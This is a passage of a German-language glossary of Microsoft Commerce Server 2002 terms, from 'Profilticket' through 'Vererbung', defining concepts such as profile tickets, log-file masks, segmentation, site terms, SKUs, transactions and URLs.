Ein von Commerce Server erstelltes Ticket für anonyme Benutzer (Gastbenutzer). Wird auch als MSCSProfile-Ticket bezeichnet.

Siehe auch: Authentifizierungsticket, Ticket

Profilveröffentlichung (Modul)

Dieses Modul von Commerce Server Business Desk dient dazu, die Site mit neuen Profilinformationen zu aktualisieren. Das Modul "Profilveröffentlichung" leert die Caches, in denen Profilinformationen für die Site gespeichert werden. Sobald die nächste Anforderung für Profildaten bei Commerce Server eingeht, werden die aktualisierten Daten in die Caches geladen.

Siehe auch: Cache

ProgID

Siehe Programmtechnischer Bezeichner (ProgID).

Programmtechnischer Bezeichner (ProgID)

Ein eindeutiger Name, der ein Programm oder ein COM-Objekt (Component Object Model) identifiziert. Im Gegensatz zu einem global eindeutigen Bezeichner (GUID) ist ein ProgID in der Regel eine sinnvolle alphanumerische Zeichenfolge, z. B. "Commerce.Dictionary".

Protokolldatei

Eine Aufzeichnung der Transaktionen oder Aktivitäten, die in einem Computersystem stattfinden. Die Datei ist entweder eine Text- oder eine Datenbankdatei. In Commerce Server werden Protokolldateien in das Data Warehouse importiert, sodass Sie mithilfe der Analysemodule in Commerce Server Business Desk die Aktivitäten in Ihrer Site analysieren können.

Siehe auch: Offener Besuch, Abgeschlossener Besuch, Protokolldateimaske

Protokolldateimaske

Eine benutzerkonfigurierte Eigenschaft, mit der die Webserver-Protokolldateinamen in Abhängigkeit von der zeitlichen Rotation der Dateien oder der Dateigröße festgelegt werden. Beispielsweise wird eine tägliche Rotation der IIS-Protokolldatei als "exyymmdd.log" bezeichnet: Der Name der Protokolldatei hat das Präfix "ex", eine zweistellige Jahres-, eine zweistellige Monats- und eine zweistellige Tagesangabe. Die Protokolldateimaske wird beim Konfigurieren eines Webservers mithilfe von Commerce Server-Manager eingerichtet.

Siehe auch: Protokolldatei

Proxyserver

Eine Firewallkomponente, die den Verkehr zu und von einem LAN (Local Area Network) verwaltet und andere Funktionen zur Verfügung stellen kann, z. B. das Zwischenspeichern von Dokumenten oder Zugangssteuerung. Ein Proxyserver kann die Leistung verbessern, indem häufig angeforderte Daten (z. B. eine beliebte Webseite) zwischengespeichert und bei Bedarf sofort zur Verfügung gestellt werden, und er kann Anforderungen herausfiltern und ablehnen, die der Besitzer als unzulässig definiert hat, z. B. Anforderungen für persönliche Dateien, auf die der Zugriff nicht autorisiert ist.

Prozentsatz der durchgeklickten Anzeigen

Die Anzahl der Klicks, die eine Anzeige erhält, geteilt durch die Anzahl der übermittelten Anzeigen. Erscheint im Bericht "Zusammenfassung der Kampagnenartikel". Wenn beispielsweise eine Anzeige 100 Mal in Ihrer Site angezeigt wird und Benutzer auf 25 davon klicken, berechnet der Bericht "Zusammenfassung der Kampagnenartikel" als Prozentsatz der durchgeklickten Anzeigen einen Wert 25 Prozent.

Siehe auch: Anzeigenklick

Prozentuale Preiserhöhung

Der Prozentsatz, um den der Listenpreis erhöht wird, um einen benutzerdefinierten Ppreis zu erhalten. Eine Erhöhung um 20 Prozent bedeutet beispielsweise, dass der tatsächliche Preis 120 Prozent des Listenpreises beträgt.

Prozentuale Preissenkung

Der Prozentsatz, um den der Listenpreis verringert wird, um einen benutzerdefinierten Preis zu erhalten. Ein Preisnachlass von 20 Prozent bedeutet beispielsweise, dass der tatsächliche Preis 80 Prozent der Listenpreises beträgt.

PUP

Siehe Commerce Server Site Packager.

Q

QueryBuilder-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC), die zum Erstellen von einfachen Abfragen verwendet wird.

R

Referenzielle Integrität

Ein Zustand, in dem alle fremden Schlüsselwerte in einer Datenbank gültig sind. Um gültig zu sein, muss ein Fremschlüssel entweder den Wert NULL enthalten, oder ein vorhandener Schlüsselwert aus den Spalten für Primärschlüssel oder eindeutige Schlüssel muss von dem Fremdschlüssel referenziert werden.

Siehe auch: Primärschlüssel, Eindeutiger Schlüssel, Fremdschlüssel

Referenztabellen (Modul)

Dieses Modul von Commerce Server Business Desk wird dazu verwendet, Inhaltsgrößen, Branchencodes und Seitengruppen zu erstellen und zu verwalten.

Registrierter Benutzer

Eine Person, die eine Website besucht und bewusst persönliche Daten zur Verfügung stellt, z. B. den Namen, die Adresse oder die Telefonnummer. Diese Informationen werden zum Server übertragen und können genutzt werden, um festzustellen, wie viele Ihrer Kunden männlich oder weiblich sind, wie viele bestimmte Produkte gekauft haben, welche Kunden regelmäßig die gleichen Produkte kaufen und weitere Einzelheiten.

Reichweite

Die Anzahl der eindeutigen Benutzer, die eine bestimmte Aktion durchgeführt haben (z. B. Klicken auf eine bestimmte Anzeige).

Siehe auch: Häufigkeit, Klickhäufigkeit

Replikation

Das Kopieren von Inhalten und/oder Konfigurationseinstellungen von einem Serverknoten auf den anderen. Sie können Dateien manuell kopieren oder sie mit einer Replikationssoftware automatisch kopieren. Die Replikation ist eine für das Arbeiten mit Serverclustern notwendige Funktion, um Fehlertoleranz zu gewährleisten.

Ressource

Eine Entität, die den Anwendungen in einer Commerce Server-Site Funktionalität bereitstellt. Eine Ressource enthält ein oder mehrere COM-Objekte. Diese werden auf den Webseiten einer Anwendung dazu verwendet, den Zugriff auf die zur Funktionalität der Ressource zu ermöglichen. Eine Ressource kann entweder globale Eigenschaften oder Eigenschaften auf Siteebene aufweisen. Die Eigenschaften von Ressourcen werden in der Verwaltungsdatenbank gespeichert. Eine Reihe von Ressourcen wird mit Commerce Server geliefert; einige dieser Ressourcen sind gleichzeitig Windows 2000-Dienste. Drittanbieter können kundenspezifische Ressourcen entwickeln, die mit Commerce Server zusammenarbeiten. Verwenden Sie den Commerce Server-Manager zum Verwalten von Ressourcen.

Siehe auch: Globale Ressource, Dienst, Siteressource

Runtime Callable Wrapper

Eine Wrapperklasse, über die .NET-basierte Anwendungen mit einer COM-Komponente zusammenarbeiten können. Der Runtime Callable Wrapper instanziiert das COM-Objekt, verwaltet Referenzen auf das Objekt, ruft Schnittstellenmethoden auf und gibt Werte zurück.

Siehe auch: Primäre Interop-Assembly (PIA)

S

Salz

Eine 32-Bit-Zufallszahl, die vor der Durchführung eines Hashes den Benutzerdaten vorangestellt wird. Dies erhöht die Sicherheit von hashbasierten Verschlüsselungsmethoden.

Schlüssel

Ein Bezeichner für einen Datensatz oder eine Gruppe von Datensätzen in einer Datendatei. Ein Schlüssel kennzeichnet eine spezielle Eigenschaft eines Feldes oder eines Satzes von Feldern innerhalb eines Datensatzes. Mögliche Schlüsseltypen sind duale, primäre und eindeutige Schlüssel sowie Verbindungsschlüssel.

Siehe auch: Klassenschlüssel

Segment

Eine Gruppe von Benutzern im Modul "Segment-Viewer", die ähnliche Profileigenschaften aufweisen.

Segmentgruppe

Eine Sammlung ähnlicher Segmente im Modul "Segment-Viewer".

Segmenthierarchie

Eine hierarchische Anordnung von Segmenten und Segmentgruppen im Modul "Segment-Viewer", in der ein übergeordnetes Segment alle Benutzer einschließt, die die untergeordneten Segmente beinhalten. Die Segmentgruppe auf der obersten Ebene stellt den gesamten Bestand dar.

Segmentierung

Eine Dataminingtechnik, die Gruppen von ähnlichen Fällen identifiziert. Verwenden Sie das Modul "Segment-Viewer" zum Durchführen der Segmentierung.

Segmentmodell

Eine Zusammenfassung der Daten im Modul "Segment-Viewer", die vom Segmentierungsalgorithmus verwendet werden. Verwenden Sie das Modul "Segment-Viewer" in Commerce Server Business Desk zum Anzeigen von Segmentmodellen.

Segmentvergleich

Eine Ansicht im Modul "Segment-Viewer", die Unterschiede zwischen den ausgewählten Segmenten anzeigt.

Segment-Viewer-Modul

Dieses Modul von Commerce Server Business Desk dient dazu, Verwendungstrends zu identifizieren und Marketingentscheidungen auf der Grundlage von Ähnlichkeiten zwischen Benutzern zu treffen.

Segmentzusammenfassung

Eine sortierte Liste der wichtigsten Eigenschaften im Modul "Segment-Viewer", die ein Segment charakterisieren.

Seitenaufruf

Siehe Anzeigenanforderung.

Seitengruppe

Ein Satz zusammenhängender Webseiten, den Sie unter Verwendung des Moduls "Referenztabellen" in Business Desk erstellen. Wenn Sie z. B. eine Onlinezeitung betreiben, können Sie eine Seitengruppe für Sportthemen, eine weitere für den Leitartikel und eine dritte für Lokalnachrichten erstellen. Sie können die Anzeigenpreise nach Seitengruppe festlegen, Berichte erstellen, um die Gesamtzahl der Zugriffe auf eine Seitengruppe anzuzeigen und Anzeigen so adressieren, dass sie auf bestimmten Seitengruppen ausgeführt werden. Ein Siteentwickler muss eine Webseite für Anzeigen aktivieren, bevor sie einer Seitengruppe zugeordnet werden kann.

Siehe auch: AggregateColumn

Servercluster

Zwei oder mehr verbundene Computer, die Ressourcen gemeinsam nutzen und die Anforderungslasten teilen. Die einzelnen Mitglieder eines Serverclusters werden als Knoten bezeichnet. Die Knoten eines Serverclusters können über eigene Speichergeräte verfügen oder ein Gerät gemeinsam nutzen. Das Serverclustering ermöglicht üblicherweise auch den Lastenausgleich sowie Fehlertoleranz und Failover.

Siehe auch: Webfarm

Servererweiterungen

Ein Satz von Programmen auf einem Webserver, die das Verwalten, Verfassen und Durchsuchen einer FrontPage-erweiterten Website unterstützen.

Serverfarm

Siehe Servercluster, Webfarm.

Sicherheits-ID (SID)

Eine eindeutige Zahl, die jedes Benutzer-, Gruppen- und Computerkonto identifiziert. Jedem Konto im Netzwerk wird, sobald es angelegt wird, eine eindeutige SID zugewiesen. Die internen Prozesse in Windows 2000 nutzen anstelle des Benutzer- oder Gruppennamens eines Kontos i. d. R. die Konto-SID. Im Berechtigungsmodul von Business Desk kann die SID auf einen Benutzer oder eine Gruppe verweisen und integriert oder benutzerdefiniert sein.

SID

Siehe Sicherheits-ID (SID).

Singleton-Muster

Ein Entwurfsmuster, das die Erstellung einer einzigen Instanz einer Ressource ermöglicht.

Siehe auch: Muster mit mehreren Instanzen

Site

Ein Container im Commerce Server-Manager für Commerce Server-Anwendungen und Ressourcen auf Siteebene. Die Einzelhandelssite enthält beispielsweise zwei Anwendungen: die Business-To-Consumer-Website und das Commerce Server Business Desk für den Business-To-Consumer-Betrieb, wobei die Ressourcen auf Siteebene von beiden gemeinsam genutzt werden.

Sitebegriffe

Eine Liste spezieller Werte, die für die Site relevant sind. Mithilfe eines Sitebegriffs weisen Sie diese Liste von Werten, die als "Begriffe" bezeichnet werden, einer Profileigenschaft als Profiltyp zu. Sie können z. B. den Sitebegriff "Geschlecht" erstellen und die folgenden möglichen Begriffe definieren: "Weiblich" und "Männlich". Wenn Sie z. B. eine Profileigenschaft mit dem Namen "Geschlecht" erstellen und ihr den Sitebegriff "Geschlecht" als Typverweis zuordnen, können Benutzer die Werte "Weiblich" oder "Männlich" in einer Dropdownliste auswählen, die in der Website für die Eigenschaft "Geschlecht" angezeigt wird. Benutzer können immer nur einen der möglichen Eigenschaftswerte auswählen.

Durch Anwenden der Sitebegriffe auf Profileigenschaften führen Sie häufige Wörter ein, die allgemein in Commerce Server verwendet werden können, z. B., um Benutzern Werbeinhalte zu vermitteln.

Siehe auch: Sitebegriffs-Editor (Modul), Sitevokabular

Sitebegriffs-Editor (Modul)

Dieses Modul von Commerce Server Business Desk dient dazu, Sitebegriffe hinzuzufügen und zu bearbeiten.

Siehe auch: Sitebegriffe

Sitebereitstellung

Die Bereitstellung einer neuen Site in einer Hostingumgebung. Zur Sitebereitstellung gehören Aufgaben wie das Entpacken der Anwendung, die Erstellung der von der Site verwendeten Datenbanken und das Zuweisen der geeigneten Berechtigungen, mit denen Businessmanager die Site verwalten können.

Siteentwickler

Die Person, die den HTML/ASP-Code für die Website schreibt, um ihn dem Unternehmen anzupassen. Diese Person kann auch Berichte anpassen und Business Desk-Module hinzufügen oder ändern, um die Funktionalität hinsichtlich der besonderen Anforderungen des Unternehmens zu erweitern.

Sitekonfigurationsspeicher

Die Verwaltungsdatenbank mit Konfigurationseinstellungen für die Site, z. B. Basiswährung, alternative Währung und SMTP-Servername.

Site Packager

Siehe Commerce Server Site Packager.

Siteressource

Eine Ressource, die zur Verwendung durch eine spezielle Site verfügbar ist. Alle Ressourcen, die von einer Site verwendet werden, werden durch ein Objekt auf Siteebene im Commerce Server-Manager dargestellt. Eine globale Ressource kann beispielsweise auch eine Siteressource sein.: Eine globale Ressource, die von einer Site verwendet wird, wird durch ein Objekt auf der Siteebene dargestellt; die einzige dargestellte Eigenschaft des Objekts ist ein Zeiger auf die verbundene globale Ressource auf der globalen Ebene.

Die Eigenschaften einer Siteressource können entweder alle auf Siteebene oder alle auf globaler Ebene vorhanden sein, beides ist jedoch nicht möglich. Sie konfigurieren die Eigenschaften einer Siteressource auf der Siteebene. Ein Satz von Siteressourcen ist in Commerce Server enthalten, und Drittanbieter können individuelle Siteressourcen entwickeln. Verwenden Sie den Commerce Server-Manager zum Verwalten von Siteressourcen.

Siehe auch: Ressource

Site Vocabulary

Ein hierarchisch strukturierter Satz von möglichen Werten für Benutzer- und Inhaltsattribute in Site Server 3.0. In Commerce Server 2002 wird das Sitevokabular zu Sitebegriffen.

Siehe auch: Sitebegriffe

Skalieren (horizontal)

Siehe Horizontales Skalieren.

Skalieren (vertikal)

Siehe Vertikales Skalieren.

Skalierung

Erweitern der Kapazität eines Webservers oder Serverclusters, um sie einem erhöhten Besuchsaufkommen in der Site anzupassen und die Leistung der Site zu verbessern.

SKU

Die Stock-Keeping Unit oder Lagerverwaltungseinheit. In Commerce Server ist die SKU, die normalerweise alphanumerisch dargestellt wird, ein eindeutiger Bezeichner für ein Produkt. Anhand der SKU kann ein Produkt zu Inventurzwecken verfolgt werden. Die SKU kann jedem käuflichen Artikel zugeordnet werden. So kann beispielsweise ein Hemd mit der Artikelnummer 3726 in der Größe 8 die SKU 3726-8 aufweisen.

Snap-In

Eine Tool, das zu einer in MMC (Microsoft Management Console) unterstützten Konsole hinzugefügt werden kann. Standalone-Snap-Ins können eigenständig hinzugefügt werden, Erweiterungs-Snap-Ins hingegen können nur hinzugefügt werden, um die Funktion eines anderen Snap-Ins zu erweitern.

Siehe auch: Microsoft Management Console (MMC)

Spaltendimension

Eine Dimension in einem dynamischen Bericht, mit der Daten in einer Spaltenüberschrift definiert werden. Sie können eine beliebige Dimension als Spalten- oder Zeilendimension auswählen.

Siehe auch: Dimension, Filterdimension, Zeilendimension

Speicher

Ein spezifischer Tabellensatz in einer Datenbank.

Siehe auch: Ausdrucksspeicher

Sponsor

Ein Anzeigenkunde, der dafür bezahlt, Anzeigen auf bestimmten Teilen oder Seiten einer Site zu platzieren, wobei all anderen Anzeigen ausgeschlossen werden. Diese Anzeigen haben Priorität vor allen anderen Anzeigen, sogar vor zielgerichteten Anzeigen. Oft sind diese Anzeigen Botschaften, die auf ausschließlicher Basis in den Inhalt integriert sind, z. B., Wechselanzeigen mit Sponsorenhinweisen. Sowohl Seiten als auch Ziele können Sponsoren aufweisen. Um eine solche Anzeige einzurichten, verwenden Sie das Modul "Zielgruppen" in Business Desk und geben die Sponsorenaktion mit einem Zielausdruck an.

Stammkategorie

Eine Kategorie, die keiner anderen Kategorie untergeordnet ist. Eine Stammkategorie kann untergeordnete Kategorien enthalten, ist jedoch niemals einer anderen Kategorie untergeordnet.

Siehe auch: Übergeordnete Kategorie, Vorgängerkategorie, Untergeordnete Kategorie, Abgeleitete Kategorie

Stammprodukt

Ein Produkt in einem Katalog, das keiner Kategorie zugeordnet ist.

Standardkomponente

Ein COM-Serverobjekt (Component Object Model), das sicherstellt, dass die für eine Stufe entscheidenden Werte vorhanden sind. Standardkomponenten werden in der Regel am Beginn einer Stufe angezeigt.

Siehe auch: Stufe

Standardzuverlässigkeit

Ein Wert, der die Wahrscheinlichkeit eines Kaufs darstellt. Es werden nur Artikel zurückgegeben, deren Verkaufswahrscheinlichkeit höher als dieser Wert ist.

Statische Liste

Eine Liste von Benutzerdatensätzen, die auf Anforderung sofort erstellt wird und anschließend in der Listen-Manager-Datenbank gespeichert wird. (Dies unterscheidet sich von der dynamischen Liste, bei der nur die zur Erstellung der Liste notwendigen Informationen in der Listen-Manager-Datenbank gespeichert werden.). Verwenden Sie die statische Liste bei Direktsendungskampagnen, die Sie weniger häufig ausführen, oder dann, wenn sich die Liste der Empfänger selten ändert.

Siehe auch: Dynamische Liste

Statischer Bericht

Ein Bericht, der auf Anforderung sofort erstellt und anschließend gemeinsam mit den Daten im Data Warehouse gespeichert wird. (Dies unterscheidet sich vom dynamischen Bericht, bei dem nur die zur Erstellung des Berichts notwendigen Daten im Data Warehouse gespeichert werden). Sie können statische Berichte in Ihrer Website bereitstellen und die Daten eines statischen Berichts in das Listen-Manager-Modul in Business Desk exportieren. Verwenden Sie das Modul "Berichte" dazu, statische Berichte auszuführen, und das Modul "Vollständige Berichte", um diese anzuzeigen.

Statusleiste

Die schmale Anzeige im unteren Teil des Inhaltsbereichs von Commerce Server Business Desk. Diese Anzeige dient dazu, den aktuellen Taskstatus darzustellen, z. B. eine Lademeldung, und einen Schlüssel der in den HTML-Komponenten (HTCs) auf der Aktionsseite verwendeten Symbole.

Siehe auch: Aktionsseite

Steuersätze (Modul)

Ein Modul von Commerce Server Business Desk, das zum Aktualisieren von Steuertabellen und Steuersätzen für die Website verwendet wird.

Stichprobengröße

Die Anzahl der Fälle, auf denen ein Analysemodell aufbaut.

Siehe auch: Fall, Gemessene Genauigkeit des Stichprobenanteils

Stufe

Ein Abschnitt einer Pipeline, der zur logischen Gruppierung von Komponenten dient. Beispielsweise sind in der Stufe "Steuer" Pipelinekomponenten gruppiert, die für die Berechnung der Steuer für eine bestimmte Bestellung erforderlich sind.

Siehe auch: Standardkomponente, Direct Mailer-Pipeline, Inhaltsauswahlpipeline, Stufenaffinität

Stufenaffinität

Eine Qualität von Komponenten, die innerhalb einer bestimmten Stufe funktionieren können. Zur Identifikation der Stufen, zu denen eine Komponente eine Affinität besitzt, schreiben Sie die Klassen-ID der neuen Komponente unter dem Schlüssel "\HKEY_CLASSES_ROOT\CLSID\component_classid\implemented categories\stage_catid" in die Microsoft Windows NT-Registrierung; dabei ist "stage_cat_id" der global eindeutige Bezeichner (GUID) der Stufe, zu der die Komponente eine Affinität besitzen soll, und "component_class_id" ist die Klassen-ID der Komponente selbst.

Siehe auch: Stufe

Suchbereich

Ein Bereich im oberen Teil des Modulinhaltsbereichs auf einer Listenseite in Commerce Server Business Desk. Suchkriterien werden im Suchbereich eingegeben. Diese Kriterien werden dann in einem Suchtask verwendet. Meistens besteht der untere Teil des Modulinhaltsbereichs aus einer ListSheet-HTC, in der die Ergebnisse eines Suchtasks angezeigt werden.

Symbolleiste

Eine horizontale Leiste mit Schaltflächen im oberen Bereich des Commerce Server Business Desk-Bildschirms, die im Inhaltsbereich angezeigt wird. Die Schaltflächen dienen zum Zugriff auf die im Business Desk-Bildschirm verfügbaren Funktionen.

Systemadministrator

Der primäre Benutzer des Commerce Server-Managers. Diese Person ist verantwortlich für das Installieren, Konfigurieren und Verwalten von Commerce Server.

T

Task

Ein Vorgang in Commerce Server Business Desk, der von einer Aktionsseite ausgeführt wird und oft die Anzeige einer anderen Aktionsseite zur Folge hat, auf der die Details des Tasks ausgeführt werden. Aufgaben werden durch das Drücken einer Aufgabenschaltfläche ausgelöst. Einige Tasks sind kontextbezogen, z B. "Bearbeiten" oder "Entfernen"; sie werden auf die jeweilige Auswahl in der gegenwärtigen Aktionsseite angewendet.

Taskpad

Eine Ansicht der Details und Aufgaben, die sich auf spezifische Knoten in der Baumstruktur des Commerce Server-Managers beziehen. Beispielsweise werden in der Taskpadansicht für den Knoten "E-Commerce-Sites" die Sites und die in den Sites möglichen Aufgaben angezeigt. Im Taskpad können Aufgaben wie das Packen oder Löschen einer Site oder das Hinzufügen von Ressourcen zu einer Site durchgeführt werden.

Testen unter Belastung

Siehe Belastungstest.

Textdatei

Eine aus Textzeichen bestehende Datei. Eine Textdatei kann eine Textverarbeitungsdatei oder eine reine ASCII-Datei sein, die in einem Format codiert ist, das von fast allen Computern gelesen werden kann. Für das Modul "Kampagnen-Manager" ist Text eine der Darstellungsarten, die für Anzeigen und Preisnachlässe verfügbar sind. Eine Anzeige dieser Art wird mit Textzeilen auf der Seite angezeigt.

Ticket

Eine Zeichenfolge aus Eigenschaft/Wertpaaren, in der Authentifizierungsinformationen und andere Daten zu einem Benutzer gespeichert werden. Beispielsweise handelt es sich bei "userID/Corneliauser" um ein Eigenschaft/Wertpaar. Ticketdaten können in einem Cookie oder in einer URL-Abfragezeichenfolge gespeichert werden.

Siehe auch: Authentifizierungsticket, Cookie, Profilticket

Transaktion

Eine Gruppe von Vorgängen, die protokolliert werden, sodass sie im Falle eines Fehlers rückgängig gemacht werden können. Commerce Server 2002 stellt Pipelineobjekte bereit, die Transaktionen unterstützen.

Transaktionen (Ressource)

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf Websiteebene. Verwenden Sie die Ressource "Transaktionen" zum Konfigurieren der Verbindungszeichenfolge für die Datenbank, die die Transaktionsmetadaten enthält.

Transaktionsdaten

Daten, die generiert werden, wenn Benutzer Produkte aus Ihrer Website erwerben. Transaktionsdaten können alle Benutzeraktivitäten beinhalten, die von einer Produkt-, Warenkorb- oder Abschlussseite aufgezeichnet wurden. Sie können beispielsweise den Namen, die Lieferadresse, Datum und Uhrzeit, das erworbene Produkt und den Gesamtbestellwert enthalten.

Transaktion in mehreren Währungen

Der Austausch von Geld gegen Güter und Dienstleistungen zwischen einem Käufer und einem Unternehmen über eine Website, die dem Unternehmen gehört, oder zwischen einem Lieferanten und einem Unternehmen über eine Website, bei dem die Vorzugswährung des Käufers bzw. Lieferanten sich von der für die Site angegebenen Basiswährung unterscheidet.

Siehe auch: Lieferantenwährung, Basiswährung

Transaktionskonfiguration (Ressource)

Eine durch den Commerce Server-Manager verwaltete Commerce Server-Ressource mit Eigenschaften auf Websiteebene. Verwenden Sie die Ressource "Transaktionskonfiguration" zum Konfigurieren der Verbindungszeichenfolge für die Datenbank, die die Transaktionsmetadaten enthält.

TreeView-HTML-Komponente (HTC)

Eine HTML-Komponente (HTC) zum Anzeigen einer XML-Struktur (Extensible Markup Language) in einer erweiterbaren Baumstruktur.

Trennzeichen getrennte Datei

Siehe durch Trennzeichen getrennte Datei (.csv).

TRUSTe

Eine unabhängige, nicht profitorientierte Initiative, die Prinzipien zur fairen Informationspraxis erarbeitet und durchsetzt, um das Vertrauen von Internetbenutzern zu stärken. Microsoft ist einer der Hauptsponsoren von TRUSTe und Mitglied des TRUSTe-Programms zur Sicherung des Datenschutzes.

U

Übergeordnete Kategorie

Eine Entität, die in Katalogen verwendet wird, um einen Satz von Produkten in einer Hierarchie anzuordnen. "Musik" ist beispielsweise eine übergeordnete Kategorie mit den untergeordneten Kategorien "Rock", "Jazz" und "Klassik". Sie können über- und untergeordnete Kategorien erstellen, um die in der Site angezeigten Produkte zu organisieren.

Siehe auch: Vorgängerkategorie, Abgeleitete Kategorie, Stammkategorie, Untergeordnete Kategorie, Primäre übergeordnete Kategorie

Überwachen

Verfolgen der Aktivitäten von Benutzern durch Aufzeichnen ausgewählter Ereignistypen im Sicherheitsprotokoll eines Servers oder einer Arbeitsstation.

Umrechnungskurs

Der Multiplikator für die Umrechnung der Basiswährung der Website in die Kunden- oder Lieferantenwährung. Der Umrechnungskurs wird im SDK Order Sitelet gespeichert und dient nur zum Zwecke der Anzeige. In Websites, die in der Produktion eingesetzt werden, wird die Verfolgung des Umrechnungskurses mit einem Ausführungs- oder Buchhaltungssystem eines Drittanbieters empfohlen.

Siehe auch: Kassakurs, Umrechnungszeit, Umrechnungstyp, Fester Umrechnungssatz

Umrechnungstyp

Der Währungsumrechnungstyp, der verwendet wird, um die Kundenwährung in die Basiswährung der Website bzw. die Lieferantenwährung bei einer Transaktion in mehreren Währungen in die Basiswährung umzurechnen. Bei dem Umrechnungstyp kann es sich entweder um einen festen Kurs (statisch) oder um einen Kassakurs (dynamisch) handeln.

Siehe auch: Umrechnungskurs, Umrechnungszeit, Kassakurs, Bestellung in mehreren Währungen

Umrechnungszeit

Der Zeitpunkt, zu dem der Umrechnungskurs auf eine Transaktion angewendet wird. Wenn es sich bei dem Umrechnungstyp um einen festen Umrechnungskurs handelt, sollte die Umrechnungszeit immer der Zeitpunkt sein, zu dem die Bestellung zur Ausführung angenommen wurde. Handelt es sich bei dem Umrechnungstyp dagegen um einen Kassakurs, ist die Umrechnungszeit der Zeitpunkt, zu dem die Bank die Umrechnung durchführt.

Siehe auch: Umrechnungskurs, Umrechnungstyp, Kassakurs, Fester Umrechnungssatz

Umschlag

Ein benannter Eigenschaftensatz, der ein bestimmtes Geschäftsdokument darstellt. Umschlagseigenschaften enthalten ein Umschlagsformat und können einen Zeiger auf eine Umschlagspezifikation enthalten. Außerdem können Kopf- und Fußinformationen oder nur Kopfinformationen enthalten sein, die elektronische Geschäftsdaten für die Übertragung einschließen.

Unabhängiger Softwareanbieter (ISV, Independent Software Vendor)

Ein unabhängiger Hersteller, der Software wie Steuer-, Versand- und Inventursoftware entwickelt, die zur Erweiterung der Funktionalität in Commerce Server integriert werden kann. Sie können einen ISV mit einem Solution Provider vergleichen, der Commerce Server für einen bestimmten Kunden oder vertikale Märkte anpasst sowie Systeme entwirft und anwendet.

Uniform Resource Identifier (URI)

Identifiziert Inhaltspunkte im Internet. Der Inhalt kann eine Textseite, ein Video- oder Soundclip, ein Bild oder ein Programm sein. Der gebräuchlichste Typ eines URIs ist die Webseitenadresse, auch bekannt als Uniform Resource Locator (URL). Ein URI enthält normalerweise den Dateinamen der Ressource, den Namen des Computers, der die Ressource beinhaltet, und das für den Zugang verwendete Protokoll. Beispiel: <B<http://www.microsoft.com/sql/techinfo/security/password.htm</B>.

Uniform Resource Locator (URL)

Die Adresse einer im Internet zugänglichen Datei (Ressource). Der Ressourcentyp ist abhängig vom Protokoll der Internetanwendung. Für das im World Wide Web verwendete Hypertext Transfer Protokoll (HTTP) kann beispielsweise die Ressource eine HTML-Seite, eine Bilddatei, ein Programm (z. B. eine CGI-Anwendung (Common Gateway Interface) oder ein Java-Applet) oder jede andere von HTTP unterstützte Datei sein. Der URL enthält den Namen des Protokolls, das für den Zugriff auf die Ressource benötigt wird, einen Domänennamen, der einen bestimmten Computer im Internet identifiziert, und eine hierarchische Beschreibung eines Dateispeicherorts im Computer.

Universal Character Set Transformation Code (UTF-8)

Ein Protokoll, mit dem erweiterte Multibyte-Unicode-Zeichen in Ein-Byte-Sequenzen unterschiedlicher Länge umgewandelt werden, um die Kompatibilität mit Legacydateisystemen, Parsern und anderer Software zu gewährleisten, die Ein-Byte-ASCII-Werte verwenden, anderen Werten gegenüber jedoch transparent sind. Commerce Server Enterprise Edition ermöglicht den Import von Protokolldateien im Format UTF-8.

Untergeordnete Kategorie

Eine in Katalogen verwendete Einheit, mit der Produkte in einer Hierarchie gruppiert werden. Eine untergeordnete Kategorie muss immer in einer übergeordneten Kategorie enthalten sein. "Musik" ist beispielsweise eine übergeordnete Kategorie mit den untergeordneten Kategorien "Rock", "Jazz" und "Klassik". Sie können über- und untergeordnete Kategorien erstellen, um die in der Site angezeigten Produkte zu organisieren.

Siehe auch: Vorgängerkategorie, Abgeleitete Kategorie, Übergeordnete Kategorie, Stammkategorie

Unterschiedliche Benutzer

Siehe verschiedene Benutzer.

Up-Selling

Ein bestimmter Verkaufstyp, bei dem Benutzern ein qualitativ hochwertigeres Produkt anstelle des Produkts vorgeschlagen wird, das sie zurzeit anzeigen oder das sich in ihrem Warenkorb befindet. Up-Selling-Funktionen können mithilfe des SDK (Software Development Kit) zu einer Site hinzugefügt werden.

Siehe auch: Intelligentes Cross-Selling

URI

Siehe Uniform Resource Identifier (URI).

URL

Siehe Uniform Resource Locator (URL).

UTF-8

Siehe auch Universal Character Set Transformation Code (UTF-8).

V

Variante

Eine eindeutige Kombination der Attribute, die für ein Produkt verfügbar sind. Für einen beliebigen Hemdtyp wäre z. B. jede Kombination von Farbe, Größe und SKU (Stock-Keeping Unit) jeweils eine Variante. Jede Produktvariante enthält immer einen eindeutigen Bezeichner, z. B. eine SKU, und einen Preis. Die einzelnen Produktvarianten basieren auf derselben Produktdefinition.

Verbindungsschlüssel

Eine Verknüpfung zwischen einem Feld in einer Tabelle oder Abfrage und einem Feld des gleichen Datentyps in einer weiteren Tabelle oder Abfrage. Commerce Server verwendet einen Verbindungsschlüssel, um Daten eines von der Profilressource verwendeten Datenspeichers mit Daten eines ebenfalls von der Profilressource verwendeten anderen Datenspeichers in Beziehung zu setzen. Ein Verbindungsschlüssel kann beispielsweise für die Eigenschaft "Benutzername" bestehen, wobei das gemeinsam mit anderen Daten in Active Directory gespeicherte Feld "Benutzername" mit dem gemeinsam mit anderen Daten in einer SQL Server-Tabelle gespeicherten Feld "Benutzername" in Beziehung gesetzt wird. Commerce Server unterstützt die Verwendung eines Verbindungsschlüssels, um eine Verbindung zwischen Produktkatalogdaten mit Daten in einem Datenspeicher herzustellen, der kein Bestandteil von Commerce Server ist. So können Sie z. B. mit der CatalogManager.SetJoinTable-Methode externe Daten in Katalogsuchen mit einschließen oder die Suchergebnisse auf Produkte begrenzen, die vorrätig sind, indem Sie einen Verbindungsschlüssel für eine Tabelle in einem externen Lagerbestandssystem erstellen.

Siehe auch: Dualer Schlüssel

Verbindungszeichenfolge

Eine Folge von durch Semikolons getrennten Argumenten, die Informationen zum Speicherort der Datenbank und zum Verbindungsaufbau enthalten.

Vererbung

Die Fähigkeit eines neu erstellten Objekts, die Eigenschaften eines bereits existierenden Objekts automatisch zu übernehmen. Ein neu erstelltes untergeordnetes Verzeichnis kann beispielsweise die Zugangssteuerungseinstellungen des übergeordneten Verzeichnisses erben.

Verfügbarkeit

